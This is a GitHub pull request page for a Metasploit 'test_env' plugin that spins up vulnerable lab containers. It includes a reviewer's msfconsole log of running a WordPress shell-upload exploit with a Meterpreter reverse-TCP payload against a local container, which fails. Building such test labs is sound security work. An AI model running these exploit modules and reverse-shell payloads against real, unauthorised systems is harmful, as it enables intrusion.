Vulnenv week7 - #8
Merged
Merged
Conversation
smcintyre-r7
suggested changes
Jul 28, 2026
smcintyre-r7
left a comment
smcintyre-r7
left a comment
There was a problem hiding this comment.
I went through and did some testing.
./msfconsole
Metasploit tip: When in a module, use back to go back to the top level
prompt
[*] Using configured payload windows/x64/meterpreter_reverse_http
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[!] The following modules were loaded with warnings:
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::############## :::::::::::::::::::
############################ ############################## :::::::::::::::::
######################### ######???????????????????????###### :::::::::::::::
========================= ####??????????()????()?????????#### :::::::::::::::
========================= ##????()?????????????? ()?????## :::: :::::::
------------============= ##?????????????????? ;;;; ?????## :: ;;;; :::::
------------------------- ##??????????()?????? ;;;;;;?????## ;;;;;; :::::
------------------------- ##?????????????????? ;;;;;; ;;;;;;;; :::::
++++++++++++------------- ##?????????????????? ;;;;;;;;;;;;;;;;;;;;;;; :::::
+++++++++++++++++++++++++ ##????????????()?? ;;;;;;;;;;;;;;;;;;;;;;;;;;; :::
+++++++++++++++++++++++++ ##??()???????????? ;;;;;;@@ ;;;;;;;;@@ ;;;;; :::
%%%%%%%%%%%%%++++ ;;;; ##???????????????? ;;;;;; ;;; ;;; ;;;;; :::
%%%%%%%%%%%%%%%%%;;;;;;;; ####??????()?????? ;;[];;;;;;;;;;;;;;;;;;;;;[] :::
$$$$$$$$$$$$$%% ;; %%%%% ######????????????? ;;;;;; ;;;; :::::
$$$$$$$$$$$$$$$$$ $$$$$$ ################### ;;;;;;;;;;;;;;;;;;;; :::::::
$$$$$$$$$$$$$$$$$$$$$$$ ;;;; :::::::::::
:::::::::::::$$$$$$$$$$ ;;;; :: ;; :::::::::::: ;; :: ;;;; ::::::::::::
::::::::::::::::::::::: :::::: ::::::::::::: :::: ::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::NN::::NN::YY::::YY:::AAAAAA:::NN::::NN:::!!::::::::::::::::::::
::::::::::::::::NNNN::NN::YY::::YY::AA::::AA::NNNN::NN:::!!::::::::::::::::::::
::::::::::::::::NNNN::NN::YY::::YY::AA::::AA::NNNN::NN:::!!::::::::::::::::::::
::::::::::::::::NN::NNNN::::YYYY::::AAAAAAAA::NN::NNNN:::!!::::::::::::::::::::
::::::::::::::::NN::NNNN:::::YY:::::AA::::AA::NN::NNNN:::::::::::::::::::::::::
::::::::::::::::NN::::NN:::::YY:::::AA::::AA::NN::::NN:::!!::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::YOU HAVE DONE THE NYAN FOR 31337 SECONDS!:::::::::::::::::::::
=[ metasploit v6.4.147-dev-707044c3a8 ]
+ -- --=[ 2,668 exploits - 1,343 auxiliary - 2,582 payloads ]
+ -- --=[ 435 post - 57 encoders - 14 nops - 12 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
[*] Processing /home/smcintyre/.msf4/msfconsole.rc for ERB directives.
resource (/home/smcintyre/.msf4/msfconsole.rc)> loadpath test/modules
Loaded 45 modules:
15 auxiliary modules
13 exploit modules
17 post modules
msf exploit(windows/smb/psexec) > test_env
[-] Unknown command: test_env. Run the help command for more details.
msf exploit(windows/smb/psexec) > load test_env
[*] TestEnv plugin loaded. Runtime: podman
[*] Rootless Podman verified — pasta networking available.
[*] Successfully loaded plugin: test_env
msf exploit(windows/smb/psexec) > test_env -h
Usage: test_env <command>
Commands:
build Build and launch environment for active module
list List tracked environments
modules List all modules with test_env support
stop <ID> Stop a running environment
start <ID> Restart a stopped environment
remove <ID> Tear down an environment
remove-all Tear down all environments
exec <ID> Execute exploit against environment
status Show runtime status
help Show this help
msf exploit(windows/smb/psexec) > test_env list
[*] No environments currently tracked.
msf exploit(windows/smb/psexec) > test_env modules
[*] Scanning framework modules for test_env support...
[*] Modules with test_env Support
[*] ==============================================================================================================
[*] Module Definition Variant Profile Ports Image
[*] --------------------------------------------------------------------------------------------------------------
[*] multi/http/apache_activemq_jolokia_rce activemq 5.18.6 default 8161→RPORT docker.io/apache/activemq-classic:5.18.6
[*] unix/webapp/wp_admin_shell_upload wordpress latest default 80→RPORT docker.io/eystsen/vulnerablewordpress
[*] Found 2 module(s) with test_env support (scanned 7112 total).
msf exploit(windows/smb/psexec) > use unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env build
[*] Resolving environment for exploit/unix/webapp/wp_admin_shell_upload...
[*] Definition: wordpress | Variant: latest | Profile: default
[*] Image: docker.io/eystsen/vulnerablewordpress
[*] Pulling image docker.io/eystsen/vulnerablewordpress...
[+] Image pulled successfully.
[*] Starting container...
[+] Container started: b15d7cdddaad
[*] Waiting for health check (HTTP)...
[*] Attempt 1/10...
[*] Connection reset on port 49152 (service still initializing)
[*] Attempt 2/10...
[*] Connection reset on port 49152 (service still initializing)
[*] Attempt 3/10...
[*] Connection reset on port 49152 (service still initializing)
[*] Attempt 4/10...
[*] Connection reset on port 49152 (service still initializing)
[*] Attempt 5/10...
[+] Health check passed.
[+] Environment ready.
[*] Environment ID: 1
[*] RHOSTS => 127.0.0.1
[*] RPORT => 49152
[*] TARGETURI => /
[*] USERNAME => admin
[*] PASSWORD => admin
[*] Suggested: exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/
msf exploit(unix/webapp/wp_admin_shell_upload) > show options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, socks5, socks5h, sapni, socks4
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 49152 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.250.239 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
View the full module info with the info, or info -d command.
msf exploit(unix/webapp/wp_admin_shell_upload) > run
[-] Msf::OptionValidateError One or more options failed to validate: USERNAME, PASSWORD.
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env -h
Usage: test_env <command>
Commands:
build Build and launch environment for active module
list List tracked environments
modules List all modules with test_env support
stop <ID> Stop a running environment
start <ID> Restart a stopped environment
remove <ID> Tear down an environment
remove-all Tear down all environments
exec <ID> Execute exploit against environment
status Show runtime status
help Show this help
msf exploit(unix/webapp/wp_admin_shell_upload) > test_env list
[*] Test Environments
[*] ====================================================================================================
[*] ID Container Module RHOST RPORT Status Version
[*] ----------------------------------------------------------------------------------------------------
[*] 1 b15d7cdddaadexploit/unix/webapp/wp_admin_shell_upload127.0.0.1 49152 running latest
[*] 1 environment(s) tracked.
msf exploit(unix/webapp/wp_admin_shell_upload) > exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/
[-] Msf::OptionValidateError One or more options failed to validate: USERNAME, PASSWORD.
msf exploit(unix/webapp/wp_admin_shell_upload) > exploit RHOSTS=127.0.0.1 RPORT=49152 TARGETURI=/ USERNAME=admin PASSWORD=admin
[*] Started reverse TCP handler on 192.168.250.239:4444
[-] Exploit aborted due to failure: not-found: The target does not appear to be using WordPress
[*] Exploit completed, but no session was created.
msf exploit(unix/webapp/wp_admin_shell_upload) > show options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, socks5, socks5h, sapni, socks4
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 49152 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.250.239 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
View the full module info with the info, or info -d command.
msf exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME admin
USERNAME => admin
msf exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD admin
PASSWORD => admin
msf exploit(unix/webapp/wp_admin_shell_upload) > check
[*] 127.0.0.1:49152 - The target is not exploitable. The target is not vulnerable
msf exploit(unix/webapp/wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 192.168.250.239:4444
[-] Exploit aborted due to failure: not-found: The target does not appear to be using WordPress
[*] Exploit completed, but no session was created.
msf exploit(unix/webapp/wp_admin_shell_upload)
So the environment wasn't identified as running wordpress. I was also surprised that the username and password were printed, but they weren't included in the recommended exploit command and they weren't set in the datastore.
Owner
Author
okay , I injected credentials in datastore and regarding exploit , it's needed for WordPress Install Wizard first NOTE: updated to provision automatically |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Refering to rapid7#20506
GSoC 2026 — Week 7 deliverables for the Automated Vulnerable Environment Provisioning project.
Environment Lifecycle Management Commands
Implements the full suite of environment control subcommands:
test_env list,stop,start,remove, andremove-all. These commands operate against the YAML-backed registry and container runtime, providing a unified control layer for provisioned environments.test_env list— Displays all tracked environments in aRex::Ui::Text::Tablewith ID, container short-ID, module, RHOST, RPORT, status, and version. Includes aNameErrorfallback to plain-text formatting for contexts where the table class is not yet autoloaded (e.g.,msfconsole -q).test_env stop <range>— Stops running containers via the runtime adapter and updates registry status tostopped. Supports comma-separated and dash-separated ID ranges (1-3,5).test_env start <ID>— Restarts a stopped container and re-runs the environment's health check before marking itrunning. Validates readiness, not just container process state.test_env remove <range>— Force-stops and force-removes containers (docker rm -f/podman rm -f), cleans up temporary volume directories, and purges registry entries. Operates on ranges with per-item error reporting: one failure does not abort the batch.test_env remove-all— Atomically tears down all tracked containers and resets the registry state.ID Range Parsing & Tab Completion
Added
parse_id_rangeto support Metasploit-native range syntax (1,1-3,1,3,5,1-3,5,7-9).cmd_test_env_tabsnow dynamically suggests live environment IDs forstop,start,remove, andexec, reducing friction for power users.Sparse ID Stability Fix
Removed
compact_ids!from single-itemremoveandprune. IDs are now sparse and monotonically stable, matching Metasploit session behavior. This eliminates the identity-shift bug where batch removals (remove 1-3) caused index renumbering mid-iteration, leading to skipped entries and orphaned containers.Cross-Session Consistency
All lifecycle commands reload the shared YAML registry before operating, ensuring they see environments created or modified by other concurrent msfconsole sessions.
remove-alliterates the current global state before atomically resetting it.test_env build Refactor
Decomposed the monolithic cmd_test_env_build method into discrete, testable phase helpers without changing control flow or error handling
Testing Results